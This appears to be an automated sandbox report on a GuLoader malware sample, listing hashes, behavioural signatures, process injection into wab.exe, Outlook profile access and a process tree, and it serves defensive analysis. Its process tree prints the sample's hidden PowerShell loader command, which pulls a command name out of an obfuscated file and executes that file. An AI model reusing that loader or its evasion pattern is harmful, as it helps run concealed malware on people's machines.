Overview
overview
10Static
static
3238267c98e...a2.exe
windows7-x64
10238267c98e...a2.exe
windows10-2004-x64
8$PLUGINSDI...sh.dll
windows7-x64
3$PLUGINSDI...sh.dll
windows10-2004-x64
3$PLUGINSDI...ge.dll
windows7-x64
1$PLUGINSDI...ge.dll
windows10-2004-x64
1$PLUGINSDI...fo.dll
windows7-x64
3$PLUGINSDI...fo.dll
windows10-2004-x64
3$PLUGINSDI...ec.dll
windows7-x64
3$PLUGINSDI...ec.dll
windows10-2004-x64
3Analysis
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max time kernel
143s -
max time network
140s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
01-07-2024 19:39
Static task
static1
Behavioral task
behavioral1
Sample
238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/AdvSplash.dll
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/AdvSplash.dll
Resource
win10v2004-20240611-en
Behavioral task
behavioral5
Sample
$PLUGINSDIR/BgImage.dll
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
$PLUGINSDIR/BgImage.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral7
Sample
$PLUGINSDIR/UserInfo.dll
Resource
win7-20240508-en
Behavioral task
behavioral8
Sample
$PLUGINSDIR/UserInfo.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral9
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240611-en
Behavioral task
behavioral10
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20240508-en
General
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Target
238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe
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Size
651KB
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MD5
fe0539642d9b7e30817279a40b745823
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SHA1
168ef1b69fc807b118416df49d9d45be14c9bd21
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SHA256
238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2
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SHA512
8563a5a1d83c122ba92b4b265f2b9d55d3a7e449d7df0520a2a4884604a775f0c068a619f7760378672bfc69d8b8591929e158601ca2b49193120dcce9e825d5
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SSDEEP
6144:z9KOQS4B4GMSGJpFhCBB2RFKChKSTPIfVenSvuZHuesgcf90opucbUVTJRGuPImv:zsB4GO3K2KaUVenSquic0oYc+Be0fEQ5
Malware Config
Signatures
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Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 352 powershell.exe -
Loads dropped DLL 4 IoCs
pid Process 1960 238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe 1960 238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe 1960 238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe 1960 238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook wab.exe Key opened \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook wab.exe Key opened \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook wab.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 3 drive.google.com 5 drive.google.com -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
pid Process 1912 wab.exe 1912 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 352 powershell.exe 1912 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 352 set thread context of 1912 352 powershell.exe 32 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Fonts\anorakkerne.ini 238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 352 powershell.exe 352 powershell.exe 352 powershell.exe 352 powershell.exe 352 powershell.exe 352 powershell.exe 352 powershell.exe 352 powershell.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 352 powershell.exe 352 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 352 powershell.exe Token: SeDebugPrivilege 1912 wab.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 1960 wrote to memory of 352 1960 238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe 28 PID 1960 wrote to memory of 352 1960 238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe 28 PID 1960 wrote to memory of 352 1960 238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe 28 PID 1960 wrote to memory of 352 1960 238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe 28 PID 352 wrote to memory of 2848 352 powershell.exe 31 PID 352 wrote to memory of 2848 352 powershell.exe 31 PID 352 wrote to memory of 2848 352 powershell.exe 31 PID 352 wrote to memory of 2848 352 powershell.exe 31 PID 352 wrote to memory of 1912 352 powershell.exe 32 PID 352 wrote to memory of 1912 352 powershell.exe 32 PID 352 wrote to memory of 1912 352 powershell.exe 32 PID 352 wrote to memory of 1912 352 powershell.exe 32 PID 352 wrote to memory of 1912 352 powershell.exe 32 PID 352 wrote to memory of 1912 352 powershell.exe 32 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook wab.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook wab.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe"C:\Users\Admin\AppData\Local\Temp\238267c98ec07131f137309231d470c68d96edeb54682c3b6a308efdafe7ada2.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Ndstilflde=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Ringsidens.roa';$Atomlre=$Ndstilflde.SubString(74380,3);.$Atomlre($Ndstilflde)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:352 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵PID:2848
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1912
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-268080393-3149932598-1824759070-1000\0f5007522459c86e95ffcc62f32308f1_84f733b4-eea8-4063-a7fc-81d3a2fcb37c
Filesize46B
MD5d898504a722bff1524134c6ab6a5eaa5
SHA1e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA51226a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61
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C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-268080393-3149932598-1824759070-1000\0f5007522459c86e95ffcc62f32308f1_84f733b4-eea8-4063-a7fc-81d3a2fcb37c
Filesize46B
MD5c07225d4e7d01d31042965f048728a0a
SHA169d70b340fd9f44c89adb9a2278df84faa9906b7
SHA2568c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA51223d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b
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Filesize
72KB
MD56f71b9cf0d826f5f4ca0608df4e48b60
SHA1c03b7a9bf1a9705ddee993ecd37e7cc00e48fa04
SHA2564741a00d5b64efe4df8c8e13b5f155418ccfc8e0487b042fcbbee5c125e298e7
SHA512ff4a6bc3e4aebe6834202b77954cba417bd075cda640cb699a331b542a2369f927b0cbf607626943bf48c99839a79503f275f4abf024ca904127308f35a0101a
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Filesize
333KB
MD5509f7d26debe8659acfc3345e323146b
SHA1897853026428d0cffc06a3859c3d0feda236c998
SHA25662ab3ff5d8d38c13cb21a7ebea707544583b3c450f6ebe5e1b4cc5f266812b33
SHA5122c8ef74d9ee159b4436e74d4ae2305f6e3fa55e0b67e22e6ab2a8023be1a8e61ed18e81cc08f4defa6bb26f724e18a8df47af7edfdbb06a7559b0ca1a17e0dc9
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Filesize
1006B
MD51fcff5845b6f3b22b49989e7d62fcb15
SHA10a5e78091c6b7af22cdbdf3738e070f7b9d6028f
SHA256ac6c4170695ab33648c78377243be66c418f9688e4059b84dc27f958897ea584
SHA5129ddd7f464ba66a20c9cdbf967c23a922bb77812e0de752f0fcb50dc7d189863a3c9a07d3ba1ec39243584be7d6c5ceea30f58875585b58923ac35fedd557e381
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Filesize
6KB
MD56def2cf3daf850acdc1a3e7340a439c4
SHA195d0d26f60cd5af697502cd5e53a54913ab188fb
SHA2563ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175
SHA51216b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413
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Filesize
7KB
MD52bb17d45e5ad92053ce1e500408dd8a9
SHA1f5d3a7ee6e28df532e9ce33976c92ff30a5665e4
SHA25671ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53
SHA512efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f
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Filesize
4KB
MD58ef0e4eb7c89cdd2b552de746f5e2a53
SHA1820f681e7cec409a02b194a487d1c8af1038acf0
SHA25641293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc
SHA512a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5
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Filesize
6KB
MD5c129bc26a26be6f5816a03520bb37833
SHA118100042155f948301701744b131c516bf26ddb8
SHA256d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4
SHA512dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63